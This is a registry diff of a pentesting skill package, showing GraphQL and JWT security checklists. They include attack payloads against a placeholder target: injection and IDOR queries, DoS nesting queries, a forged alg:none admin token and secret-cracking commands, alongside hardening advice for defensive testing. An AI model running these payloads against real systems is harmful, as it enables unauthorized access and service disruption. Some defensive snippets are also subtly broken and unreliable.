@soulofzephir/pi-skill-pentesting 1.0.0 โ 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -2
- package/skills/pentesting/SKILL.md +168 -224
- package/skills/pentesting/checklists/cors.md +183 -0
- package/skills/pentesting/checklists/exposed-files.md +311 -0
- package/skills/pentesting/checklists/graphql.md +375 -0
- package/skills/pentesting/checklists/jwt.md +225 -0
- package/skills/pentesting/tools/exposed-files-scan.ps1 +333 -0
- package/skills/pentesting/tools/exposed-files-scan.sh +291 -0
- package/skills/pentesting/tools/full-scan.ps1 +508 -0
- package/skills/pentesting/tools/full-scan.sh +454 -0
|
@@ -0,0 +1,375 @@
|
|
|
1
|
+
# GraphQL Security Checklist
|
|
2
|
+
|
|
3
|
+
## ๐ What is GraphQL?
|
|
4
|
+
|
|
5
|
+
Query language for APIs - single endpoint, flexible queries.
|
|
6
|
+
|
|
7
|
+
```
|
|
8
|
+
POST /graphql
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## โ ๏ธ Common GraphQL Vulnerabilities
|
|
14
|
+
|
|
15
|
+
### 1. Introspection Enabled (Production)
|
|
16
|
+
|
|
17
|
+
**Check:**
|
|
18
|
+
```bash
|
|
19
|
+
# Get full schema
|
|
20
|
+
curl -X POST https://target.com/graphql \
|
|
21
|
+
-H "Content-Type: application/json" \
|
|
22
|
+
-d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}'
|
|
23
|
+
|
|
24
|
+
# Or
|
|
25
|
+
curl -X POST https://target.com/graphql \
|
|
26
|
+
-H "Content-Type: application/json" \
|
|
27
|
+
-d '{"query":"{ __type(name: \"User\") { name fields { name type { name } } } }"}'
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
**Expected (Production):** Introspection disabled
|
|
31
|
+
**Vulnerable:** Full schema exposed
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
### 2. GraphQL IDE Exposed
|
|
36
|
+
|
|
37
|
+
**Check:**
|
|
38
|
+
```
|
|
39
|
+
/graphiql
|
|
40
|
+
/graphql/console
|
|
41
|
+
/IDE
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
**Risk:** Interactive testing interface exposed
|
|
45
|
+
|
|
46
|
+
---
|
|
47
|
+
|
|
48
|
+
### 3. Mass Assignment / Over-fetching
|
|
49
|
+
|
|
50
|
+
**Test:**
|
|
51
|
+
```graphql
|
|
52
|
+
# Get all fields including hidden ones
|
|
53
|
+
{
|
|
54
|
+
user(id: "1") {
|
|
55
|
+
id
|
|
56
|
+
name
|
|
57
|
+
email
|
|
58
|
+
password
|
|
59
|
+
isAdmin
|
|
60
|
+
role
|
|
61
|
+
createdAt
|
|
62
|
+
updatedAt
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
---
|
|
68
|
+
|
|
69
|
+
### 4. Authorization Bypass (IDOR)
|
|
70
|
+
|
|
71
|
+
**Test:**
|
|
72
|
+
```graphql
|
|
73
|
+
# Access other users' data
|
|
74
|
+
{
|
|
75
|
+
user(id: "1") {
|
|
76
|
+
name
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
{
|
|
81
|
+
user(id: "2") {
|
|
82
|
+
name
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
**Risk:** No proper authorization check
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
### 5. SQL/NoSQL Injection
|
|
92
|
+
|
|
93
|
+
**Test:**
|
|
94
|
+
```graphql
|
|
95
|
+
# SQL Injection
|
|
96
|
+
query {
|
|
97
|
+
users(where: "1=1") {
|
|
98
|
+
id
|
|
99
|
+
name
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
# NoSQL Injection
|
|
104
|
+
query {
|
|
105
|
+
user(id: {"$ne": null}) {
|
|
106
|
+
name
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
### 6. Batch Query Attack
|
|
114
|
+
|
|
115
|
+
**Test:**
|
|
116
|
+
```graphql
|
|
117
|
+
# Brute force via batching
|
|
118
|
+
query {
|
|
119
|
+
u1: user(id: "1") { password }
|
|
120
|
+
u2: user(id: "2") { password }
|
|
121
|
+
u3: user(id: "3") { password }
|
|
122
|
+
...
|
|
123
|
+
u100: user(id: "100") { password }
|
|
124
|
+
}
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
**Risk:** Bypasses rate limiting, enumerates users
|
|
128
|
+
|
|
129
|
+
---
|
|
130
|
+
|
|
131
|
+
### 7. Depth-based DoS
|
|
132
|
+
|
|
133
|
+
**Test:**
|
|
134
|
+
```graphql
|
|
135
|
+
query {
|
|
136
|
+
user(id: "1") {
|
|
137
|
+
friends {
|
|
138
|
+
friends {
|
|
139
|
+
friends {
|
|
140
|
+
friends {
|
|
141
|
+
friends {
|
|
142
|
+
id
|
|
143
|
+
}
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
}
|
|
147
|
+
}
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
**Risk:** Server resource exhaustion
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
### 8. Alias-based DoS
|
|
157
|
+
|
|
158
|
+
**Test:**
|
|
159
|
+
```graphql
|
|
160
|
+
query {
|
|
161
|
+
a1: user(id: "1") { id }
|
|
162
|
+
a2: user(id: "1") { id }
|
|
163
|
+
a3: user(id: "1") { id }
|
|
164
|
+
...
|
|
165
|
+
a1000: user(id: "1") { id }
|
|
166
|
+
}
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
**Risk:** Resource exhaustion via alias
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## ๐งช GraphQL Testing Checklist
|
|
174
|
+
|
|
175
|
+
### Phase 1: Discovery
|
|
176
|
+
- [ ] GraphQL endpoint found?
|
|
177
|
+
- [ ] Introspection enabled?
|
|
178
|
+
- [ ] GraphQL IDE exposed?
|
|
179
|
+
- [ ] Version detected?
|
|
180
|
+
|
|
181
|
+
### Phase 2: Schema Analysis
|
|
182
|
+
- [ ] Full schema enumerated
|
|
183
|
+
- [ ] Hidden fields identified
|
|
184
|
+
- [ ] Sensitive types found
|
|
185
|
+
- [ ] Query/Mutation analyzed
|
|
186
|
+
|
|
187
|
+
### Phase 3: Authorization
|
|
188
|
+
- [ ] IDOR vulnerabilities
|
|
189
|
+
- [ ] Horizontal privilege escalation
|
|
190
|
+
- [ ] Vertical privilege escalation
|
|
191
|
+
- [ ] Broken field level auth
|
|
192
|
+
|
|
193
|
+
### Phase 4: Injection
|
|
194
|
+
- [ ] SQL Injection
|
|
195
|
+
- [ ] NoSQL Injection
|
|
196
|
+
- [ ] Command Injection
|
|
197
|
+
- [ ] Code Injection
|
|
198
|
+
|
|
199
|
+
### Phase 5: DoS & Abuse
|
|
200
|
+
- [ ] Batch queries
|
|
201
|
+
- [ ] Query depth limits
|
|
202
|
+
- [ ] Query complexity
|
|
203
|
+
- [ ] Alias limits
|
|
204
|
+
|
|
205
|
+
### Phase 6: Additional
|
|
206
|
+
- [ ] CORS misconfiguration
|
|
207
|
+
- [ ] CSRF via mutations
|
|
208
|
+
- [ ] Bypass via persisted queries
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## ๐ ๏ธ Tools
|
|
213
|
+
|
|
214
|
+
```bash
|
|
215
|
+
# GraphQL Map
|
|
216
|
+
nmap --script graphql-introspection -p 443 target.com
|
|
217
|
+
|
|
218
|
+
# InQL (Burp Extension)
|
|
219
|
+
# GraphQL Voyager
|
|
220
|
+
|
|
221
|
+
# Manual
|
|
222
|
+
curl -X POST https://target.com/graphql \
|
|
223
|
+
-H "Content-Type: application/json" \
|
|
224
|
+
-d '{"query":"{ __schema { queryType { name } } }"}'
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## ๐ง Common GraphQL Payloads
|
|
230
|
+
|
|
231
|
+
### Introspection Query
|
|
232
|
+
```graphql
|
|
233
|
+
{
|
|
234
|
+
__schema {
|
|
235
|
+
types {
|
|
236
|
+
name
|
|
237
|
+
kind
|
|
238
|
+
fields {
|
|
239
|
+
name
|
|
240
|
+
type {
|
|
241
|
+
name
|
|
242
|
+
kind
|
|
243
|
+
}
|
|
244
|
+
}
|
|
245
|
+
}
|
|
246
|
+
directives {
|
|
247
|
+
name
|
|
248
|
+
args {
|
|
249
|
+
name
|
|
250
|
+
type {
|
|
251
|
+
name
|
|
252
|
+
}
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
}
|
|
256
|
+
}
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
### Find Mutations
|
|
260
|
+
```graphql
|
|
261
|
+
{
|
|
262
|
+
__schema {
|
|
263
|
+
mutationType {
|
|
264
|
+
name
|
|
265
|
+
fields {
|
|
266
|
+
name
|
|
267
|
+
args {
|
|
268
|
+
name
|
|
269
|
+
type {
|
|
270
|
+
name
|
|
271
|
+
}
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
}
|
|
275
|
+
}
|
|
276
|
+
}
|
|
277
|
+
```
|
|
278
|
+
|
|
279
|
+
### Nested Query (DoS)
|
|
280
|
+
```graphql
|
|
281
|
+
query {
|
|
282
|
+
user(id: "1") {
|
|
283
|
+
posts {
|
|
284
|
+
comments {
|
|
285
|
+
author {
|
|
286
|
+
posts {
|
|
287
|
+
comments {
|
|
288
|
+
author {
|
|
289
|
+
id
|
|
290
|
+
}
|
|
291
|
+
}
|
|
292
|
+
}
|
|
293
|
+
}
|
|
294
|
+
}
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
}
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
---
|
|
301
|
+
|
|
302
|
+
## ๐ GraphQL Security Score
|
|
303
|
+
|
|
304
|
+
| Feature | Secure | Insecure |
|
|
305
|
+
|---------|--------|----------|
|
|
306
|
+
| Introspection | Disabled | Enabled |
|
|
307
|
+
| GraphiQL | Disabled | Enabled |
|
|
308
|
+
| Query Depth Limit | Set | Unset |
|
|
309
|
+
| Query Complexity | Limited | Unlimited |
|
|
310
|
+
| Rate Limiting | Enabled | Disabled |
|
|
311
|
+
| Batch Queries | Limited | Unlimited |
|
|
312
|
+
| Authorization | Field-level | Type-level |
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
## ๐ก๏ธ Secure GraphQL Configuration
|
|
317
|
+
|
|
318
|
+
### Disable Introspection (Production)
|
|
319
|
+
```javascript
|
|
320
|
+
// Apollo Server
|
|
321
|
+
const server = new ApolloServer({
|
|
322
|
+
schema,
|
|
323
|
+
introspection: false,
|
|
324
|
+
playground: false
|
|
325
|
+
});
|
|
326
|
+
```
|
|
327
|
+
|
|
328
|
+
### Query Depth Limiting
|
|
329
|
+
```javascript
|
|
330
|
+
const depthLimit = require('graphql-depth-limit');
|
|
331
|
+
const { maxDepth } = require('./config');
|
|
332
|
+
|
|
333
|
+
server.applyMiddleware({
|
|
334
|
+
validationRules: [depthLimit(maxDepth)]
|
|
335
|
+
});
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
### Query Complexity Limiting
|
|
339
|
+
```javascript
|
|
340
|
+
const { createComplexityLimitRule } = require('graphql-validation-complexity');
|
|
341
|
+
|
|
342
|
+
const complexityLimit = createComplexityLimitRule(1000);
|
|
343
|
+
|
|
344
|
+
server.applyMiddleware({
|
|
345
|
+
validationRules: [complexityLimit]
|
|
346
|
+
});
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
### Rate Limiting
|
|
350
|
+
```javascript
|
|
351
|
+
const rateLimit = require('express-rate-limit');
|
|
352
|
+
const.applyMiddleware({
|
|
353
|
+
app: express(),
|
|
354
|
+
path: '/graphql'
|
|
355
|
+
});
|
|
356
|
+
|
|
357
|
+
app.use('/graphql', rateLimit({
|
|
358
|
+
windowMs: 15 * 60 * 1000,
|
|
359
|
+
max: 100
|
|
360
|
+
}));
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
---
|
|
364
|
+
|
|
365
|
+
## ๐ GraphQL Risk Matrix
|
|
366
|
+
|
|
367
|
+
| Vulnerability | CVSS | Fix Priority |
|
|
368
|
+
|--------------|------|-------------|
|
|
369
|
+
| Introspection exposed | 3.0 | MEDIUM |
|
|
370
|
+
| IDOR in queries | 7.5 | HIGH |
|
|
371
|
+
| Batch attack | 6.5 | MEDIUM |
|
|
372
|
+
| Depth-based DoS | 7.5 | HIGH |
|
|
373
|
+
| SQL/NoSQL Injection | 9.0 | CRITICAL |
|
|
374
|
+
| Auth bypass | 9.0 | CRITICAL |
|
|
375
|
+
| Mass assignment | 7.5 | HIGH |
|
|
@@ -0,0 +1,225 @@
|
|
|
1
|
+
# JWT Security Checklist
|
|
2
|
+
|
|
3
|
+
## ๐ What is JWT?
|
|
4
|
+
|
|
5
|
+
JSON Web Token (JWT) - Stateless authentication token.
|
|
6
|
+
|
|
7
|
+
```
|
|
8
|
+
Header.Payload.Signature
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## โ ๏ธ Common JWT Vulnerabilities
|
|
14
|
+
|
|
15
|
+
### 1. Algorithm Confusion (Alg: none)
|
|
16
|
+
|
|
17
|
+
**Test:**
|
|
18
|
+
```bash
|
|
19
|
+
# Change alg to "none" and remove signature
|
|
20
|
+
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Expected:** Token should be rejected
|
|
24
|
+
**Vulnerable:** Token accepted as admin
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
### 2. RS256 โ HS256 (Algorithm Switching)
|
|
29
|
+
|
|
30
|
+
**Test:**
|
|
31
|
+
1. Get public key from: `/jwks.json`, `/.well-known/jwks.json`
|
|
32
|
+
2. Change `alg: RS256` to `alg: HS256`
|
|
33
|
+
3. Sign with public key as secret
|
|
34
|
+
|
|
35
|
+
**Vulnerable:** Server uses HS256 with weak secret derived from public key
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
### 3. Weak Secrets (Brute Force)
|
|
40
|
+
|
|
41
|
+
**Test:**
|
|
42
|
+
```bash
|
|
43
|
+
# Crack JWT with weak secret
|
|
44
|
+
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
|
|
45
|
+
|
|
46
|
+
# Or use jwt_tool
|
|
47
|
+
python jwt_tool.py <JWT> -C -d wordlist.txt
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
### 4. Null Signature
|
|
53
|
+
|
|
54
|
+
**Test:**
|
|
55
|
+
```json
|
|
56
|
+
{
|
|
57
|
+
"alg": "HS256",
|
|
58
|
+
"typ": "JWT"
|
|
59
|
+
}
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
**Payload:** Remove signature entirely or use empty
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
### 5. JWKS Cache Poisoning
|
|
67
|
+
|
|
68
|
+
**Test:**
|
|
69
|
+
1. Get JWKS endpoint
|
|
70
|
+
2. Create malicious key
|
|
71
|
+
3. Poison cache with your key
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## ๐งช JWT Testing Checklist
|
|
76
|
+
|
|
77
|
+
### Phase 1: Token Analysis
|
|
78
|
+
- [ ] Token structure valid?
|
|
79
|
+
- [ ] Algorithm used (none, HS256, RS256, ES256)?
|
|
80
|
+
- [ ] Token expiration set?
|
|
81
|
+
- [ ] Issued time (iat) present?
|
|
82
|
+
- [ ] Issuer (iss) present?
|
|
83
|
+
- [ ] Audience (aud) present?
|
|
84
|
+
|
|
85
|
+
### Phase 2: Algorithm Attacks
|
|
86
|
+
- [ ] `alg: none` vulnerability
|
|
87
|
+
- [ ] Algorithm confusion (RS256 โ HS256)
|
|
88
|
+
- [ ] Weak secret brute force
|
|
89
|
+
- [ ] Null signature accepted
|
|
90
|
+
|
|
91
|
+
### Phase 3: Token Manipulation
|
|
92
|
+
- [ ] User enumeration via error messages
|
|
93
|
+
- [ ] Modify `exp` claim (expiration)
|
|
94
|
+
- [ ] Modify `iat` claim (issued at)
|
|
95
|
+
- [ ] Modify `nbf` claim (not before)
|
|
96
|
+
- [ ] Modify `iss` claim (issuer)
|
|
97
|
+
- [ ] Modify `aud` claim (audience)
|
|
98
|
+
- [ ] Modify `jti` claim (JWT ID)
|
|
99
|
+
- [ ] Privilege escalation (user โ admin)
|
|
100
|
+
|
|
101
|
+
### Phase 4: Signature Bypass
|
|
102
|
+
- [ ] Empty signature accepted
|
|
103
|
+
- [ ] Modified `alg` accepted
|
|
104
|
+
- [ ] Public key used as secret
|
|
105
|
+
- [ ] Key confusion attack
|
|
106
|
+
|
|
107
|
+
### Phase 5: Key Management
|
|
108
|
+
- [ ] JWKS endpoint exposed?
|
|
109
|
+
- [ ] JWKS cache poisoning possible?
|
|
110
|
+
- [ ] Keys properly rotated?
|
|
111
|
+
- [ ] Weak keys used?
|
|
112
|
+
|
|
113
|
+
---
|
|
114
|
+
|
|
115
|
+
## ๐ง Common JWT Payloads
|
|
116
|
+
|
|
117
|
+
### None Algorithm
|
|
118
|
+
```json
|
|
119
|
+
{
|
|
120
|
+
"alg": "none",
|
|
121
|
+
"typ": "JWT"
|
|
122
|
+
}
|
|
123
|
+
```
|
|
124
|
+
Payload: `{"sub":"admin","role":"admin"}`
|
|
125
|
+
Signature: (empty)
|
|
126
|
+
|
|
127
|
+
### Privilege Escalation
|
|
128
|
+
```json
|
|
129
|
+
{"sub":"user","role":"user","iat":9999999999}
|
|
130
|
+
```
|
|
131
|
+
Change to:
|
|
132
|
+
```json
|
|
133
|
+
{"sub":"admin","role":"admin","iat":9999999999}
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
### Time Manipulation
|
|
137
|
+
```json
|
|
138
|
+
{"sub":"user","exp":1234567890}
|
|
139
|
+
```
|
|
140
|
+
Change `exp` to far future
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## ๐ ๏ธ Tools
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# JWT Toolkit
|
|
148
|
+
pip install jwt_tool
|
|
149
|
+
python jwt_tool.py <JWT> -T
|
|
150
|
+
|
|
151
|
+
# John the Ripper
|
|
152
|
+
john --wordlist=rockyou.txt jwt_hashes.txt --format=HMAC-SHA256
|
|
153
|
+
|
|
154
|
+
# Burp Suite Extension
|
|
155
|
+
# JWT Editor Plugin
|
|
156
|
+
|
|
157
|
+
# Online Decoder
|
|
158
|
+
jwt.io
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
---
|
|
162
|
+
|
|
163
|
+
## ๐ JWT Security Checklist Summary
|
|
164
|
+
|
|
165
|
+
| Test | Risk | Tool |
|
|
166
|
+
|------|------|------|
|
|
167
|
+
| alg:none bypass | ๐ด CRITICAL | Manual |
|
|
168
|
+
| Algorithm confusion | ๐ด CRITICAL | jwt_tool |
|
|
169
|
+
| Weak secret brute | ๐ HIGH | hashcat/jwt_tool |
|
|
170
|
+
| Null signature | ๐ HIGH | Manual |
|
|
171
|
+
| Token manipulation | ๐ HIGH | Manual |
|
|
172
|
+
| JWKS poisoning | ๐ HIGH | Manual |
|
|
173
|
+
| Sensitive data in payload | ๐ก MEDIUM | Manual |
|
|
174
|
+
|
|
175
|
+
---
|
|
176
|
+
|
|
177
|
+
## ๐ก๏ธ Secure JWT Configuration
|
|
178
|
+
|
|
179
|
+
### Server-Side Best Practices
|
|
180
|
+
```javascript
|
|
181
|
+
// Use strong secret (min 256 bits)
|
|
182
|
+
const secret = crypto.randomBytes(32);
|
|
183
|
+
|
|
184
|
+
// Verify all claims
|
|
185
|
+
const decoded = jwt.verify(token, secret, {
|
|
186
|
+
algorithms: ['HS256'],
|
|
187
|
+
issuer: 'expected-issuer',
|
|
188
|
+
audience: 'expected-audience',
|
|
189
|
+
expiresIn: '15m'
|
|
190
|
+
});
|
|
191
|
+
|
|
192
|
+
// Include necessary claims
|
|
193
|
+
{
|
|
194
|
+
"iss": "your-app",
|
|
195
|
+
"aud": "your-api",
|
|
196
|
+
"iat": 1234567890,
|
|
197
|
+
"exp": 1234567890,
|
|
198
|
+
"sub": "user-id"
|
|
199
|
+
}
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
### Client-Side Best Practices
|
|
203
|
+
```javascript
|
|
204
|
+
// Store securely
|
|
205
|
+
// HttpOnly cookie (recommended)
|
|
206
|
+
// NOT localStorage (XSS vulnerable)
|
|
207
|
+
|
|
208
|
+
// Validate token
|
|
209
|
+
if (token && token.exp * 1000 > Date.now()) {
|
|
210
|
+
// Token valid
|
|
211
|
+
}
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## ๐ JWT Risk Matrix
|
|
217
|
+
|
|
218
|
+
| Vulnerability | CVSS | Fix Priority |
|
|
219
|
+
|--------------|------|-------------|
|
|
220
|
+
| alg:none accepted | 9.8 | IMMEDIATE |
|
|
221
|
+
| Algorithm confusion | 8.1 | IMMEDIATE |
|
|
222
|
+
| Weak secret crackable | 7.5 | HIGH |
|
|
223
|
+
| Null signature | 7.5 | HIGH |
|
|
224
|
+
| No expiration | 6.5 | MEDIUM |
|
|
225
|
+
| Sensitive data in JWT | 5.3 | MEDIUM |
|